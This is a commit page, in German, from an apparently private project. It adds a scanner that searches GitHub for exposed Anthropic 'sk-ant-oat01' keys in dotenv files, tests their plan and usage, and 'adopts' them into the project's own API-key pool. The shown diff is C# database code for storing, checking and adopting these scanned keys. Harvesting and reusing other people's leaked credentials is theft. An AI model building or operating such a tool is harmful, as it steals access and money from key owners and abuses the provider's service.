feat: GitHub Key Scanner mit automatischem Intervall und manueller UI

- KeyScannerService als BackgroundService (Timer + manueller Trigger)
- GitHub Code Search: sucht nach sk-ant-oat01-* Keys in Dotenv-Dateien
- AnthropicKeyChecker: shared Key-Check-Logik (ersetzt Duplikat in ApiKeysEndpoint)
- ScannedKeyRecord Model mit Soft-Delete und Adopt-Verknüpfung
- Scan-Endpoints: trigger, status, list, recheck, adopt, delete
- API-Keys-Page: Scanner-UI mit Status-Indikator und Scanned-Keys-Liste
- GitHub-URL pro gefundenem Key (html_url aus Search API)
- Server-Settings: GitHubToken + ScanIntervalHours konfigurierbar
- DB-Migration: scanned_keys Tabelle + api_keys Meta-Spalten (status, plan, usage)
- ApiKeyRecord erweitert um Status/Plan/Usage-Felder mit UpdateApiKeyMeta()
This commit is contained in:
Meleki committed 2026-03-12 15:35:22 +01:00
1 parent db1a7c7f64
commit 006ef223bf
15 files changed
+996 -107

No files matched your search

+78 -3
View File
@@ -367,13 +367,15 @@ public partial class DatabaseService
new { keyId });
}
public async Task CreateApiKey(ApiKeyRecord record)
public async Task<long> CreateApiKey(ApiKeyRecord record)
{
using var conn = CreateConnection();
await conn.ExecuteAsync(@"
INSERT INTO api_keys (key_id, provider, name, api_key, is_active, created_at, updated_at)
VALUES (@KeyId, @Provider, @Name, @ApiKey, @IsActive, @CreatedAt, @UpdatedAt)",
INSERT INTO api_keys (key_id, provider, name, api_key, is_active, status, plan, usage_7d, usage_5h, checked_at, created_at, updated_at)
VALUES (@KeyId, @Provider, @Name, @ApiKey, @IsActive, @Status, @Plan, @Usage7d, @Usage5h, @CheckedAt, @CreatedAt, @UpdatedAt)",
record);
return await conn.ExecuteScalarAsync<long>("SELECT last_insert_rowid()");
}
public async Task UpdateApiKey(string keyId, string name, string apiKey = null)
@@ -393,6 +395,15 @@ public partial class DatabaseService
}
}
public async Task UpdateApiKeyMeta(string keyId, string status, string plan, double? usage7d, double? usage5h)
{
using var conn = CreateConnection();
await conn.ExecuteAsync(@"
UPDATE api_keys SET status = @status, plan = @plan, usage_7d = @usage7d, usage_5h = @usage5h, checked_at = @now, updated_at = @now
WHERE key_id = @keyId",
new { keyId, status, plan, usage7d, usage5h, now = DateTime.UtcNow.ToString("o") });
}
public async Task SetActiveApiKey(string keyId, string provider)
{
using var conn = CreateConnection();
@@ -419,4 +430,68 @@ public partial class DatabaseService
using var conn = CreateConnection();
await conn.ExecuteAsync("DELETE FROM api_keys WHERE key_id = @keyId", new { keyId });
}
// ── Scanned Keys ──
public async Task<bool> ScannedKeyExists(string apiKey)
{
using var conn = CreateConnection();
return await conn.ExecuteScalarAsync<int>(
"SELECT COUNT(*) FROM scanned_keys WHERE api_key = @apiKey", new { apiKey }) > 0;
}
public async Task<bool> ApiKeyExistsInKeys(string apiKey)
{
using var conn = CreateConnection();
return await conn.ExecuteScalarAsync<int>(
"SELECT COUNT(*) FROM api_keys WHERE api_key = @apiKey", new { apiKey }) > 0;
}
public async Task CreateScannedKey(ScannedKeyRecord record)
{
using var conn = CreateConnection();
await conn.ExecuteAsync(@"
INSERT OR IGNORE INTO scanned_keys (scanned_key_id, api_key, source_url, status, plan, usage_7d, usage_5h, scanned_at, checked_at)
VALUES (@ScannedKeyId, @ApiKey, @SourceUrl, @Status, @Plan, @Usage7d, @Usage5h, @ScannedAt, @CheckedAt)",
record);
}
public async Task UpdateScannedKeyStatus(string scannedKeyId, string status, string plan, double? usage7d, double? usage5h)
{
using var conn = CreateConnection();
await conn.ExecuteAsync(@"
UPDATE scanned_keys SET status = @status, plan = @plan, usage_7d = @usage7d, usage_5h = @usage5h, checked_at = @now
WHERE scanned_key_id = @scannedKeyId",
new { scannedKeyId, status, plan, usage7d, usage5h, now = DateTime.UtcNow.ToString("o") });
}
public async Task<IEnumerable<ScannedKeyRecord>> GetScannedKeys()
{
using var conn = CreateConnection();
return await conn.QueryAsync<ScannedKeyRecord>(
"SELECT * FROM scanned_keys WHERE deleted = 0 ORDER BY scanned_at DESC");
}
public async Task<ScannedKeyRecord> GetScannedKey(string scannedKeyId)
{
using var conn = CreateConnection();
return await conn.QuerySingleOrDefaultAsync<ScannedKeyRecord>(
"SELECT * FROM scanned_keys WHERE scanned_key_id = @scannedKeyId",
new { scannedKeyId });
}
public async Task SetScannedKeyAdopted(string scannedKeyId, long apiKeyId)
{
using var conn = CreateConnection();
await conn.ExecuteAsync(
"UPDATE scanned_keys SET adopted_api_key_id = @apiKeyId WHERE scanned_key_id = @scannedKeyId",
new { scannedKeyId, apiKeyId });
}
public async Task DeleteScannedKey(string scannedKeyId)
{
using var conn = CreateConnection();
await conn.ExecuteAsync("UPDATE scanned_keys SET deleted = 1 WHERE scanned_key_id = @scannedKeyId", new { scannedKeyId });
}
}